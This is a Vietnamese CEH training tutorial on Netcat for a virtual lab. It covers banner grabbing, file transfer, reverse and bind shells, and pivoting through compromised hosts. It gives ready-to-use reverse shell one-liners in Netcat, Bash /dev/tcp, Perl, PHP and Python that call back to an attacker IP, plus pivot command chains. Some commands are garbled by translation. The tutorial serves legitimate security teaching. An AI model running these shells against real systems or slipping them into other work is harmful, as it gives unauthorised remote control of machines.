[CEH] Hacking With Netcat

Bài luyện tập cho lớp CEH v11PENTEST +

Chạy lab cơ sở CEH VIETNAM Virtual PENTEST LAB để Do-Lab

Câu hỏi : Hãy thử dùng netcat để lấy shell qua backdoor của vsftpd 234 trên Metasploitable 2 ?

Phần 1 – Hacking with Netcat – Basic

Netcat là một tiện ích pentest mạng tuyệt vời dùng để đọc và ghi vào các kết nối mạng sử dụng giao thức TCP và UPD. Netcat thường được gọi là con dao của quân đội Thụy Sĩ trong số các công cụ mạng và chúng ta sẽ sử dụng nó rất nhiều trong các hướng dẫn khác nhau về Hacking Tut hay áp dụng vào thực tế, CTF … Việc sử dụng phổ biến nhất đối với Netcat khi nói đến pentest là thiết lập các trình bao đảo ngược và ràng buộc, đường ống và chuyển hướng lưu lượng mạng, lắng nghe cổng, gỡ lỗi các chương trình và tập lệnh và lấy biểu ngữ. Trong hướng dẫn này, chúng ta sẽ học cách sử dụng các tính năng cơ bản của Netcat như:

  • Lấy biểu ngữ (banner grabbing)
  • Kết nối thô
  • Tương tác máy chủ trang web
  • Truyền tệp

Chúng tôi sẽ trình bày các kỹ thuật này bằng cách sử dụng một vài máy ảo chạy Linux và thông qua một số hình ảnh trực quan. Hướng dẫn hack với Netcat sẽ được chia thành 3 phần sau:

  • Hacking với Netcat phần 1: Khái niệm cơ bản
  • Hacking với Netcat phần 2: Bind & Reverse shell
  • Hacking với Netcat phần 3: Các kỹ thuật Netcat nâng cao

Hãy bắt đầu với những điều rất cơ bản và xem xét cách chúng ta có thể tạo kết nối dữ liệu thô để lấy các biểu ngữ dịch vụ

Xem bài học phần 1 : Reverse & BIND Shell

Xem bài học phần 2 : PIVOT

Lấy biểu ngữ, kết nối thô và tương tác máy chủ web

Biểu ngữ dịch vụ thường được quản trị viên hệ thống sử dụng để kiểm kê hệ thống và dịch vụ trên mạng. Các biểu ngữ dịch vụ xác định dịch vụ đang chạy và thường là số phiên bản. Lấy biểu ngữ là một kỹ thuật để truy xuất thông tin này về một dịch vụ cụ thể trên một cổng mở và có thể được sử dụng trong quá trình kiểm tra thâm nhập để thực hiện đánh giá lỗ hổng. Khi sử dụng Netcat để lấy biểu ngữ, bạn thực sự tạo một kết nối thô tới máy chủ lưu trữ được chỉ định trên cổng được chỉ định. Khi có biểu ngữ, biểu ngữ đó sẽ được in ra bảng điều khiển. Hãy xem điều này hoạt động như thế nào trong thực tế.

Lấy biểu ngữ Netcat

Lệnh sau được sử dụng để lấy biểu ngữ dịch vụ (tạo kết nối thô tới một dịch vụ):

nc [địa chỉ ip] [cổng]

Hãy thử điều này trên dịch vụ FTP trên Metasploitable 2 đang chạy trên cổng 21 (thay IP bằng IP của bạn trên virtual lab):

nc 192.168.100.100 21

netcat-basics-banner-grabbing-1

nc [ip] [port] được sử dụng để tạo kết nối thô tới cổng sẽ trả về biểu ngữ dịch vụ khi có sẵn.Như chúng ta thấy có một dịch vụ vsFTPD đang chạy trên cổng 21. Hãy xem hướng dẫn liệt kê dịch vụ nếu bạn muốn tìm hiểu thêm về chủ đề này.

Kết nối thô với Netcat

Để chứng minh cách kết nối thô hoạt động, chúng tôi sẽ đưa ra một số lệnh FTP sau khi chúng tôi kết nối với máy chủ đích trên dịch vụ FTP. Hãy xem liệu truy cập ẩn danh có được phép trên máy chủ FTP này hay không bằng cách đưa ra lệnh USER và PASS, sau đó là ẩn danh.

netcat-basics-raw-connect-2

Tương tác với dịch vụ FTP qua kết nối thô.

Ví dụ này trình bày cách lấy một biểu ngữ và cách thiết lập và sử dụng kết nối dữ liệu thô.

Trong ví dụ này, chúng ta đã sử dụng dịch vụ FTP nhưng điều này cũng hoạt động trên các dịch vụ khác như dịch vụ SMTP và HTTP.

Tương tác với máy chủ web

Netcat cũng có thể được sử dụng để tương tác với các máy chủ web bằng cách đưa ra các yêu cầu HTTP. Với lệnh sau, chúng ta có thể lấy biểu ngữ của dịch vụ web chạy trên Metasploitable 2:

nc 192.168.100.108 80

Và sau đó chạy yêu cầu HTTP này:

HEAD / HTTP / 1.0

netcat-basics-webserver-banner-3

Biểu ngữ máy chủ web Apache.

Máy chủ web phản hồi với biểu ngữ máy chủ: Apache / 2.2.8 (Ubuntu) DAV / 2 và phiên bản PHP.

Để truy xuất trang cấp cao nhất trên máy chủ web, chúng ta có thể sử dụng lệnh sau:

nc 192.168.100.108 80

Và sau đó chạy yêu cầu HTTP này:

GET / HTTP / 1.0

netcat-basics-webserver-page-4

Trang máy chủ trang web.

Truyền tệp bằng Netcat

Trong ví dụ này, chúng tôi sẽ sử dụng kết nối Netcat để truyền tệp văn bản. Giả sử chúng ta thực thi lệnh từ xa trên máy chủ đích và chúng ta muốn chuyển một tệp từ hộp tấn công sang máy chủ. Đầu tiên, chúng ta cần thiết lập một trình lắng nghe trên máy chủ đích và kết nối với nó từ hộp tấn công. Chúng tôi sẽ sử dụng cổng 8080 cho mục đích này và chúng tôi bảo mật tệp trên màn hình:

nc -lvp 8080> /root/Desktop/transfer.txt

Trên hộp tấn công, chúng tôi kết nối với cổng 8080 và gửi tệp tên tệp transfer.txt:

nc 192.168.100.107 8080 </root/Desktop/transfer.txt

netcat-basics-file-transfer-10

Truyền tệp Netcat

Các bạn nhấn Control + c và chuyển nội dung của tệp trên cả hộp tấn công và máy chủ mục tiêu.

netcat-basics-netcat-file-transfer-2

Tệp đã được chuyển từ máy chủ đến đích.

Như chúng ta có thể thấy ở đây, nội dung của các tệp bằng nhau, có nghĩa là nó đã được chuyển từ hộp tấn công sang máy chủ đích.

Bài học kinh nghiệm

Trong phần đầu tiên của hướng dẫn Hacking với Netcat, chúng ta đã học cách làm việc với một số tính năng cơ bản như kết nối thô, lấy biểu ngữ và truyền tệp. Chúng tôi đã học cách lấy các biểu ngữ dịch vụ chứa thông tin về dịch vụ đang chạy trên một cổng cụ thể. Chúng tôi cũng đã học cách tương tác với các dịch vụ bằng cách sử dụng các kết nối thô và Netcat. Trong hướng dẫn, chúng tôi đã có được quyền truy cập ẩn danh vào máy chủ FTP bằng cách sử dụng kết nối dữ liệu thô và đưa ra một số lệnh FTP. Chúng tôi cũng đã học cách sử dụng Netcat để tương tác với máy chủ web. Chúng tôi có thể truy xuất các trang web và gửi các yêu cầu HTTP. Cuối cùng nhưng không kém phần quan trọng, chúng ta đã học cách chuyển tệp từ hộp này sang hộp khác bằng Netcat.

Phần 2 : Reverse & Bind Shell

Trong phần 1 của hướng dẫn Hacking với Netcat, chúng ta đã tìm hiểu những kiến ​​thức cơ bản về Netcat. Bây giờ đã đến lúc đi sâu hơn vào cách sử dụng phổ biến và thông dụng nhất của Netcat: Thiết lập các trình bao liên kết và trình bao đảo ngược. Trong hướng dẫn này, chúng ta sẽ tìm hiểu về sự khác biệt giữa trình bao liên kết và trình bao đảo ngược và cách sử dụng chúng. Netcat thường không xuất hiện trên các hệ thống vì nó có thể được coi là một vấn đề bảo mật tiềm ẩn. Trong những trường hợp này, chúng ta sẽ tìm hiểu về cách sử dụng các công cụ và ngôn ngữ lập trình khác ngoài Netcat để thay thế một số chức năng để thiết lập một trình bao đảo ngược. Các ngôn ngữ lập trình và script như Python, PHP, Perl và Bash là những lựa chọn thay thế tuyệt vời. Chúng tôi sẽ kết thúc hướng dẫn này với cách sử dụng các trình bao liên kết.

Trong hướng dẫn này, chúng ta sẽ học cách sử dụng Netcat cho:

  • Reverse shell
  • Bind shell

Chúng tôi sẽ trình bày các kỹ thuật này bằng cách sử dụng một vài máy ảo chạy Linux và thông qua một số hình ảnh trực quan. Hướng dẫn hack với Netcat sẽ được chia thành 3 phần sau:

  • Hacking với Netcat phần 1: Khái niệm cơ bản
  • Hacking với Netcat phần 2: Bind and Reverse shell
  • Hacking với Netcat phần 3: Các kỹ thuật Netcat nâng cao

Nếu bạn không quen thuộc với Netcat và chưa đọc phần đầu tiên của Hacking với Netcat, chúng tôi khuyên bạn nên đọc phần đó trước. Hãy tiếp tục và xem cách sử dụng các trình bao liên kết và trình bao đảo ngược trong Netcat.

Netcat : Reverse shell

Một cách sử dụng rất phổ biến của Netcat và có lẽ là cách sử dụng phổ biến nhất từ ​​góc độ kiểm tra thâm nhập là reverse shell và bind shell. Một trình bao đảo ngược reverse shell là một trình bao được khởi tạo từ máy chủ đích quay trở lại máy tấn công đang ở trạng thái lắng nghe để nhận trình bao (shell). Một trình bao liên kết bind shell được thiết lập trên máy chủ đích và liên kết với một cổng cụ thể để lắng nghe kết nối đến từ hộp tấn công. Trong phần mềm độc hại, một trình bao liên kết thường được coi là một cửa hậu.

Trong các đoạn sau, chúng tôi sẽ trình bày việc sử dụng bind và reverse shell. Chúng tôi sẽ sử dụng cổng 4444 trong suốt hướng dẫn này nhưng có thể là bất kỳ cổng mở nào. Trên thực tế, bạn hay sử dụng các cổng phổ biến hơn như 80 và 443 để thiết lập các cổng đảo ngược vì các cổng này thường mở hơn.

Thiết lập Netcat Reverse Shells

Chúng ta hãy xem hình ảnh của một trình bao Netcat ngược để hiểu rõ hơn về cách hoạt động của nó:netcat-reverse-shell

Netcat Reverse Shell .

Trong ví dụ này, mục tiêu kết nối trở lại hộp tấn công bằng cách sử dụng cổng 4444. Tùy chọn –e gửi lại một trình bao Bash tới hộp tấn công. Xin lưu ý rằng chúng tôi cũng có thể sử dụng tùy chọn –e với cmd.exe trên Windows. Giả sử chúng tôi đã tìm thấy lỗ hổng thực thi mã từ xa (RCE) trên máy chủ đích. Chúng ta không thể đưa ra lệnh Netcat với –e trên máy chủ đích và khởi tạo một trình bao ngược với Netcat để ra lệnh.

Hãy xem cách này hoạt động như thế nào với ví dụ sau, nơi chúng tôi đã thiết lập 2 hệ thống Linux với Netcat.

Ví dụ về trình bao ngược Reverse shell của Netcat

Để thiết lập một trình bao ngược Netcat, chúng ta cần làm theo các bước sau:

  1. Thiết lập một trình nghe Netcat.
  2. Kết nối với trình nghe Netcat từ máy chủ đích.
  3. Ra lệnh trên máy chủ mục tiêu từ hộp tấn công.

Đầu tiên, chúng tôi thiết lập một trình nghe Netcat trên hộp tấn công đang lắng nghe trên cổng 4444 bằng lệnh sau:

nc –lvp 4444

Ngoài việc chúng tôi phát hành lệnh sau trên máy chủ đích để kết nối với hộp tấn công của chúng tôi (hãy nhớ rằng chúng tôi có được quyền thực thi mã từ xa trên hộp này):

Đối với Linux:

nc 192.168.100.113 4444 –e / bin / bash

Cho cửa sổ:

nc.exe 192.168.100.113 4444 –e cmd.exe

Trên hộp tấn công, bây giờ chúng ta có một bash shell trên máy chủ đích và chúng ta có toàn quyền kiểm soát hộp này trong ngữ cảnh của tài khoản đã khởi tạo trình bao ngược lại. Trong trường hợp này, người dùng root đã khởi tạo shell có nghĩa là chúng ta có đặc quyền root trên máy chủ đích.Khái niệm cơ bản về Netcat - Giá đỡ ngược

Một ví dụ về trình bao ngược Netcat.

Cửa sổ trên cùng với văn bản bảng điều khiển màu xanh lá cây là máy chủ đích và bảng điều khiển phía dưới là hộp tấn công. Như chúng ta thấy, chúng ta có quyền truy cập root từ kẻ tấn công 192.168.100.113 trên máy chủ đích 192.168.100.107.

Đảo ngược trình bao không có Netcat trên máy chủ đích

Một nhược điểm lớn trong ví dụ được hiển thị là bạn cần Netcat trên máy chủ đích đó, điều này rất thường không xảy ra trong kịch bản thế giới thực. Trong một số trường hợp, Netcat có mặt, hoặc chúng tacó cách để cài đặt nó, nhưng trong nhiều trường hợp, chúng tôi cần sử dụng các cách thay thế để kết nối trở lại hộp tấn công. Chúng ta hãy xem xét một số cách thay thế để thiết lập một trình bao đảo ngược.

Bash reverse shell

Với cũng có thể sử dụng Bash để bắt đầu một trình bao ngược từ máy chủ đích đến hộp tấn công bằng cách sử dụng lệnh sau:

bash -i> & /dev/tcp/192.168.100.113/4444 0> & 1

Kiến thức cơ bản về Netcat - Reverse shell bash

Một ví dụ về trình bao đảo ngược Bash.

Như chúng ta có thể thấy Netcat trên hộp tấn công đó cũng chấp nhận một trình bao đảo ngược bash.

Reverse shell với Perl

Nếu Perl có mặt trên máy chủ từ xa đó, chúng ta cũng có thể khởi tạo một trình bao đảo ngược bằng Perl. Chạy lệnh sau trên máy chủ đích để thiết lập trình bao ngược:

perl -e ‘use Socket; $ i = ”192.168.100.113 ″; $ p = 4444; socket (S, PF_INET, SOCK_STREAM, getprotobyname (“ tcp ”)); if (connect (S, sockaddr_in ($ p, inet_aton ( $ i)))) {open (STDIN, ”> & S”); open (STDOUT, ”> & S”); open (STDERR, ”> & S”); execute (“/ bin / sh -i”);} ; ‘

Khái niệm cơ bản về Netcat - Reverse shell perl

Một ví dụ về trình bao đảo ngược Perl.

Reverse shell với PHP

Khi PHP hiện diện trên máy chủ bị xâm nhập, điều này thường xảy ra trên máy chủ web, nó là một lựa chọn thay thế tuyệt vời cho Netcat, Perl và Bash. Hãy chạy đoạn mã sau để sử dụng PHP cho trình bao ngược lại hộp tấn công:

php -r ‘$ sock = fsockopen (“192.168.100.113”, 4444); thi hành (“/ bin / sh -i <& 3> & 3 2> & 3”);’

Như chúng ta có thể thấy trình bao ngược này, một lớp lót cũng trả về trình bao / bin / sh.Trình bao đảo ngược PHP

Một ví dụ về một trình bao đảo ngược PHP.

Reverse shell với Python

Python cũng là một ngôn ngữ được cài đặt rất phổ biến trên các máy Linux. Lệnh sau tạo ra một trình bao đảo ngược bằng Python:

python -c ‘import socket, subprocess, os; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect ((“192.168.100.113”, 4444)); os.dup2 (s.fileno () , 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p = subprocess.call ([“/ bin / sh”, ”- i”]); ‘

Vỏ đảo ngược Python

Một ví dụ về trình bao đảo ngược Python.

Netcat Bind Shell

Như chúng ta đã đề cập trước đó trong hướng dẫn Hacking với Netcat này, bind shell là một shell liên kết với một cổng cụ thể trên máy chủ đích để lắng nghe các kết nối đến. Chúng ta hãy xem hình ảnh của một trình bao Netcat liên kết:Netcat bind shell

Trong hình dung này, mục tiêu liên kết một trình bao Bash với cổng 4444 bằng cách sử dụng trình nghe Netcat. Kẻ tấn công kết nối với cổng này bằng lệnh Netcat đơn giản. Các bước để thiết lập một trình bao liên kết như sau:

  1. Liên kết một trình bao bash với cổng 4444 bằng cách sử dụng Netcat.
  2. Kết nối với máy chủ mục tiêu trên cổng 4444 từ hộp tấn công.
  3. Ra lệnh trên máy chủ mục tiêu từ hộp tấn công.

Ví dụ về trình bao Netcat Bind

Hãy xem điều này trông như thế nào trên bảng điều khiển:Ví dụ về trình bao Netcat Bind

Ví dụ về Netcat Bind Shell.

Máy chủ mục tiêu liên kết một trình bao Bash với cổng 4444, hơn là cuộc tấn công kết nối với cổng đó bằng cách sử dụng Netcat và lấy được một trình bao gốc trên mục tiêu.

Bài học kinh nghiệm

Trong phần 2 của loạt bài Hacking với Netcat , các bạn không nhất thiết phải cần Netcat để khởi tạo trình bao ngược, chúng tôi cũng có thể sử dụng PHP, Python, Perl, Bash và nhiều lựa chọn thay thế khác. Chúng tôi đã thử các trình bao đảo ngược với các ngôn ngữ lập trình và kịch bản phổ biến nhất và các shell liên kết. Bind shell liên kết một dịch vụ với một cổng cụ thể trên máy chủ đích đang lắng nghe kết nối đến từ hộp tấn công.

Trong phần 3 của Hacking với Netcat, chúng ta sẽ xem xét một số kỹ thuật nâng cao hơn như chuyển hướng lưu lượng, đường ống cho Netcat và thiết lập Netcat làm proxy.

Phần 3 : Hacking with Netcat – Nâng Cao : Pivot Attack với Netcat

Trong phần 3 của loạt bài hướng dẫn Hacking với Netcat, chúng ta sẽ xem xét một số kỹ thuật nâng cao hơn. Như chúng ta đã biết, Netcat còn được gọi là con dao của quân đội Thụy Sĩ về các công cụ mạng. Do đó, chúng tôi cũng phải xem xét một số tính năng nâng cao. Trong hướng dẫn này, chúng ta sẽ tìm hiểu cách chuyển đầu ra của Netcat đến các tệp và ứng dụng cũng như cách hoạt động của tính năng xoay vòng mạng với Netcat. Trong hướng dẫn này, chúng ta sẽ xem xét một vài tình huống khác nhau mà chúng ta sẽ sử dụng Netcat để xoay các kết nối. Pivoting kết nối mạng hữu ích khi máy chủ đích nằm trên mạng không thể truy cập trực tiếp từ mạng của hộp tấn công. Trong tình huống này, chúng tôi có thể xâm phạm máy chủ có quyền truy cập vào cả mạng và kết nối thông qua máy chủ này. Máy chủ bị xâm nhập có quyền truy cập vào cả hai mạng được gọi là điểm xoay hay pivot. Hãy bắt đầu với việc chuyển đầu ra của Netcat tới các tệp và ứng dụng.

Piping Netcat : Xuất ra tệp

Đầu tiên, chúng ta sẽ chuyển đầu ra từ quá trình quét cổng netcat đơn giản sang tệp có tên là output.txt. Nói chung, kết quả dòng lệnh có thể được xuất ra tệp bằng cách sử dụng toán tử > theo sau là tên tệp. Tuy nhiên, đối với Netcat, điều này sẽ không hoạt động bởi vì các bạn cần điều hướng cả stderr và stdout vào tệp. Vì vậy ta cần sử dụng lệnh sau:

nc -vv -z localhost 1-100> output.txt 2>&1

1 - Netcat ghi đầu ra vào tệp

Xuất bản quét cổng Netcat thành tệp.

Lệnh này xuất tất cả kết quả từ quá trình quét cổng sang tệp output.txt. Chúng ta có thể sử dụng lệnh sau để lọc đầu ra cho các cổng đang mở bằng grep:

nc -vv -z localhost 1-100 2> & 1 | mở grep> output.txt

2 - Đầu ra grep Netcat thành tệp

Grep netcat đầu ra thành tệp.

Lệnh này chỉ xuất các cổng đang mở vào tệp văn bản. Hãy xem cách chúng ta có thể chuyển đầu vào và đầu ra của netcat đến các kết nối mạng pivot.

Pivot Windows với Netcat

Giả sử chúng ta có 2 mục tiêu Windows và 1 hộp tấn công Kali Linux. Chúng tôi đã xâm phạm máy chủ Windows 1 từ máy Kali Linux và chúng tôi muốn lấy shell trên máy chủ Windows 2 mà chỉ có thể truy cập từ máy chủ Windows 1. Vậy ta cần hướng lưu lượng từ máy chủ Kali Linux sang máy chủ Windows 1 và sau đó chuyển hướng nó đến máy chủ Windows 2. Kết quả phải được gửi trở lại máy chủ Windows 1, nơi nó sẽ được chuyển hướng trở lại máy Kali Linux.

Các bạn hãy xem hình ảnh sau để hiểu rõ hơn:

3 - Netcat Windows xoay vòng

Trong phòng thí nghiệm ảo, chúng tôi đã định cấu hình kịch bản này với 2 máy Windows và 1 máy Kali Linux. Trên điểm trục, chúng tôi sẽ chuyển các lệnh đầu vào từ hộp tấn công đến máy chủ mục tiêu. Đầu ra từ máy chủ đích sẽ được chuyển trở lại hộp tấn công từ điểm trục. Hãy có những lệnh Netcat mà chúng ta phải sử dụng cho mọi máy. Chúng tôi sẽ sử dụng cổng 3333 và cổng4444 cho các kết nối.

Vậy, các bạn nên dùng 1 máy Kali Linux và 2 máy Windows là Metasploitable 3 (M3, Windows 1) và THEROCK (là Windows 2), ở đây THEROCK sẽ nằm hía bên trong còn M3 sẽ nằm ngoài bị “ăn đấm” trước, sau đó trên M3 attacker sẽ pivot vào THEROCK. Ngoài ra, các bạn lớp PreOSCP có thể thay THEROCK bằng con Windows 7 OSCP Target, và thay M3 là Windows 10 OSCP Target

  • Máy chủ Windows 1 cần hướng lưu lượng đầu ra trên cổng 3333 đến máy chủ Windows 2 trên cổng 4444 và lưu lượng đầu vào từ máy chủ Windows 2 phải được gửi đến đầu ra Kali Linux trên cổng 2222.
  • Máy chủ Windows 2 cần đính kèm các lệnh đến trên cổng 4444 vào CMD.exe và chuyển hướng đầu ra trở lại máy chủ Windows 1 trên cổng 4444.
  • Kali Linux sẽ gửi lệnh đến máy chủ Windows 1 trên cổng 3333 và nhận đầu vào từ máy chủ Windows 1 trên cổng 4444.

Với thông tin này, chúng tôi cần đưa ra các lệnh sau trên mỗi máy theo thứ tự sau:

  • Bảng điều khiển Kali Linux Đầu vào: nc -lvp 3333
  • Bảng điều khiển Kali Linux Ouput: nc -lvp 4444
  • Máy chủ Windows 2: nc -lvp 4444 -e cmd.exe
  • Máy chủ Windows 1: nc.exe 10.11.1.16 3333 | nc.exe 10.11.1.198 4444 | nc.exe 10.11.1.16 2222

Hình sau mô tả các kết nối giữa máy tấn công Kali Linux, máy chủ windows 1 điểm trục và máy chủ đích; máy chủ cửa sổ 2.4 - Ví dụ xoay vòng mạng netcat của Windows

Chuyển hướng lưu lượng bằng Netcat.

Các lệnh được đưa ra trên thiết bị đầu cuối đầu vào trên hộp tấn công Kali Linux được thực thi thông qua điểm xoay trên máy chủ Windows 2. Đầu ra từ máy chủ Windows 2 được chuyển hướng trở lại thiết bị đầu cuối đầu ra trên hộp tấn công. Vấn đề duy nhất với thiết lập này là có độ trễ đối với các lệnh được thực thi và đầu ra. Sau khi ra lệnh, bạn phải nhấn enter một hoặc hai lần để xem đầu ra xuất hiện trong đầu ra đầu ra trên máy chủ tấn công.

Ngoài ra còn có một giải pháp thay thế dễ dàng hơn khi nút chuyển -e trên netcat có sẵn trên điểm xoay. Thay thế này chỉ sử dụng 1 phiên đầu cuối trên máy chủ tấn công. Hãy xem cách này hoạt động như thế nào bằng cách xem các lệnh sau:

  • Hộp tấn công Kali Linux: nc -lvp 4444
  • Máy chủ Windows 2: nc -lvp 4444 -e cmd.exe
  • Máy chủ Windows 1 – điểm xoay: nc -v 10.11.1.16 4444 -c ”nc -v 10.11.1.198 4444”

Các lệnh đầu tiên thiết lập trình lắng nghe trên hộp tấn công và lệnh thứ hai trên máy chủ đích. Lệnh cuối cùng sẽ mở một phiên Netcat với hộp tấn công và sử dụng một phiên Netcat mới cho máy chủ đích dưới dạng chương trình gửi đến. Lưu ý rằng điểm xoay và máy chủ đích đều sử dụng công tắc -e trên Netcat.5 - Ví dụ xoay vòng mạng netcat của Windows 2

Xoay vòng mạng với Netcat trên Windows.

Như bạn có thể thấy trên thiết bị đầu cuối đầu tiên, chúng tôi có trình bao trên máy chủ đích thông qua điểm xoay. Quá trình xây dựng này cũng có độ trễ vì vậy bạn phải nhấn enter một hoặc hai lần để nhận đầu ra từ máy chủ đích. Nếu bạn biết cách khắc phục, hãy để lại bình luận bên dưới nhé!

Hãy xem liệu chúng ta có thể làm điều tương tự trên 3 máy chủ Linux hay không.

Xoay vòng mạng Linux với Netcat

Trong trường hợp sau, chúng ta có 3 máy chủ Linux:

  • 10.11.1.16 là hộp tấn công chạy trên Kali Linux.
  • 10.11.1.250 là điểm xoay.
  • 10.11.1.95 là máy chủ đích.

Đồ họa sau minh họa kịch bản với hộp tấn công, điểm trục và máy chủ đích:

Kịch bản xoay vòng mạng netcat Linux

Chúng tôi sẽ sử dụng các lệnh sau trên các máy chủ khác nhau theo thứ tự sau:

  • Hộp tấn công 10.11.1.16: nc -lvp 4444
  • 10.11.1.96 máy chủ đích: nc -lvp 4444 -e / bin / sh
  • 10.11.1.250 điểm xoay: nc -v 10.11.1.16 4444 -e ”nc -v 10.11.1.96 4444”

Lệnh đầu tiên thiết lập trình lắng nghe trên cổng 4444 trên hộp tấn công Kali Linux. Lệnh thứ hai thiết lập một bộ lắng nghe trên máy chủ đích, cũng trên cổng 4444. Lệnh cuối cùng được thực hiện trên máy trục và kết nối với cả hộp tấn công và máy chủ đích trên cổng 4444.

Ảnh chụp màn hình sau đây hiển thị các thiết bị đầu cuối khác nhau từ 3 máy. Thiết bị đầu cuối đầu tiên là hộp tấn công, thiết bị đầu cuối thứ hai là điểm xoay và thiết bị cuối cùng là máy chủ mục tiêu:7 - Ví dụ xoay vòng mạng netcat Linux

Xoay vòng mạng với Netcat trên Linux. Ở đây, các bạn có thể dùng 2 con Metasploitable 2 cho linux pivot và linux target

Trên thiết bị đầu cuối của hộp tấn công, chúng tôi đã đưa ra các lệnh whoami và ifconfig. Đầu ra của whoami là root và ifconfig xuất ra thông tin IP cho máy chủ 10.11.1.95. Thiết lập này hoạt động hoàn hảo và chúng tôi có thể kiểm soát máy chủ đích nằm trên mạng không thể định tuyến từ mạng hộp tấn công bằng cách xoay kết nối qua điểm xoay. Kịch bản này thoạt nghe có vẻ hơi khó hiểu nhưng đừng lo lắng. Hãy dành thời gian của bạn để hiểu và có thể thực hành tình huống này để hiểu rõ hơn về những gì chính xác đang xảy ra.

Như vậy, chúng ta đã tìm hiểu về đường ống đầu ra của Netcat chẳng hạn như kết quả quét cổng và kết nối. Chúng tôi cũng đã học cách sử dụng các điểm xoay trên Linux và Windows để xoay các kết nối mạng. Bạn có thêm ý tưởng cho các kỹ thuật nâng cao và hướng dẫn Netcat không? Hãy đưa lên group học tập !

Bài demo và minh họa sẽ cung cấp trong lớp học CEH cho phần 1 và 2, phần 3 sẽ cung cấp cho lớp PreOSCP. Các bạn cũng làm các bài tập tương ứng

NetCat Bind vs Revershell

Hướng dẫn PIVOT với NETCAT qua mô hình Attacker Kali Linux và Victim 1 là Metasplotabe2, Victim 2la2 Metasploitable 2 (pivot trên LINUX)

Chia sẽ :

  • Twitter
  • Facebook
Thích Đang tải…

Từ khóa » Tìm Hiểu Về Netcat